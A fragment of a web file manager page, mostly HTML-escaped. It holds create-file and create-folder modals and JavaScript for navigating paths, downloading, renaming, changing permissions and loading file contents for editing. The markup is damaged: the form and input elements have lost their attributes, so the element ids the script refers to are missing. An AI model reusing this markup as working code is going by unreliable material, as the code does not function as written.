&lt;/div&gt;                &lt;div class=&quot;modal-actions&quot;&gt;                    &lt;button type=&quot;button&quot; class=&quot;btn btn-cancel&quot; onclick=&quot;hideModal(&#039;createFileModal&#039;)&quot;&gt;Cancel&lt;/button&gt;                    &lt;button type=&quot;submit&quot; name=&quot;createFile&quot; class=&quot;btn&quot;&gt;Create&lt;/button&gt;                &lt;/div&gt;            </form>        &lt;/div&gt;    &lt;/div&gt;        &lt;!-- Create Folder Modal --&gt;    &lt;div id=&quot;createFolderModal&quot; class=&quot;modal&quot;&gt;        &lt;div class=&quot;modal-content&quot;&gt;            &lt;h3 class=&quot;modal-title&quot;&gt;Create New Folder</h3>            <form>                <input type=hidden>                &lt;div class=&quot;form-group&quot;&gt;                    &lt;label for=&quot;newFolderName&quot;&gt;Folder Name:&lt;/label&gt;                    <input type=text>                &lt;/div&gt;                &lt;div class=&quot;modal-actions&quot;&gt;                    &lt;button type=&quot;button&quot; class=&quot;btn btn-cancel&quot; onclick=&quot;hideModal(&#039;createFolderModal&#039;)&quot;&gt;Cancel&lt;/button&gt;                    &lt;button type=&quot;submit&quot; name=&quot;createFolder&quot; class=&quot;btn&quot;&gt;Create&lt;/button&gt;                &lt;/div&gt;            </form>        &lt;/div&gt;    &lt;/div&gt;        &lt;!-- Hidden form for navigation --&gt;    <form>        <input type=hidden>        <input type=hidden>    </form>        &lt;!-- Hidden form for download --&gt;    <form>        <input type=hidden>        <input type=hidden>    </form>        &lt;script&gt;        // Show loading overlay        function showLoading() {            document.getElementById(&#039;loadingOverlay&#039;).style.display = &#039;flex&#039;;        }                // Hide loading overlay        function hideLoading() {            document.getElementById(&#039;loadingOverlay&#039;).style.display = &#039;none&#039;;        }                // Navigation function        function navigateTo(path) {            showLoading();            document.getElementById(&#039;navigationPath&#039;).value = path;            document.getElementById(&#039;navigationForm&#039;).submit();        }                // Download function        function downloadFile(path) {            document.getElementById(&#039;downloadPath&#039;).value = path;            document.getElementById(&#039;downloadForm&#039;).submit();        }                // Show rename modal        function showRenameModal(path, name) {            document.getElementById(&#039;renameFileName&#039;).textContent = name;            document.getElementById(&#039;renameOldPath&#039;).value = path;            document.getElementById(&#039;renameNewName&#039;).value = name;            document.getElementById(&#039;renameModal&#039;).style.display = &#039;flex&#039;;        }                // Show permissions modal        function showPermissionsModal(path, name) {            document.getElementById(&#039;permissionsFileName&#039;).textContent = name;            document.getElementById(&#039;permissionsPath&#039;).value = path;            document.getElementById(&#039;permissionsModal&#039;).style.display = &#039;flex&#039;;        }                // Show edit file modal        function showEditFileModal(path, name) {            document.getElementById(&#039;editFileName&#039;).textContent = name;            document.getElementById(&#039;editFilePath&#039;).value = path;                        showLoading();                        // Fetch file content using POST            const formData = new FormData();            formData.append(&#039;action&#039;, &#039;getContent&#039;);            formData.append(&#039;path&#039;, path);                        fetch(window.location.pathname, {                method: &#039;POST&#039;,                body: formData            })            .then(response =&gt; response.text())            .then(content =&gt; {                document.getElementById(&#039;fileContent&#039;).value = content;                document.getElementById(&#039;editFileModal&#039;).style.display = &#039;flex&#039;;                hideLoading();            })            .catch(error =&gt; {                hideLoading();                alert(&#039;Error loading file content: &#039; + error);            });        }                // Show create file modal        function showCreateFileModal() {            document.getElementById(&#039;newFileName&#039;).value = &#039;&#039;;            document.getElementById(&#039;createFileModal&#039;).style.display = &#039;flex&#039;;        }                // Show create folder modal        function showCreateFolderModal() {            document.getElementById(&#039;newFolderName&#039;).value = &#039;&#039;;            document.getElementById(&#039;createFolderModal&#039;).style.display = &#039;flex&#039;;        }                // Hide modal        function hideModal(modalId) {            document.getElementById(modalId).style.display = &#039;none&#039;;        }                // Close modals when clicking outside        window.onclick = function(event) {            if (event.target.className === &#039;modal&#039;) {                event.target.style.display = &#039;none&#039;;            }        }                // Add loading indicator to form submissions        document.addEventListener(&#039;DOMContentLoaded&#039;, function() {            const forms = document.querySelectorAll(&#039;form&#039;);            forms.forEach(form =&gt; {                form.addEventListener(&#039;submit&#039;, function() {                    // Don&#039;t show loading for the navigation and download forms                    if (form.id !== &#039;navigationForm&#039; &amp;&amp; form.id !== &#039;downloadForm&#039;) {                        showLoading();                    }                });            });        });    &lt;/script&gt;</body></html>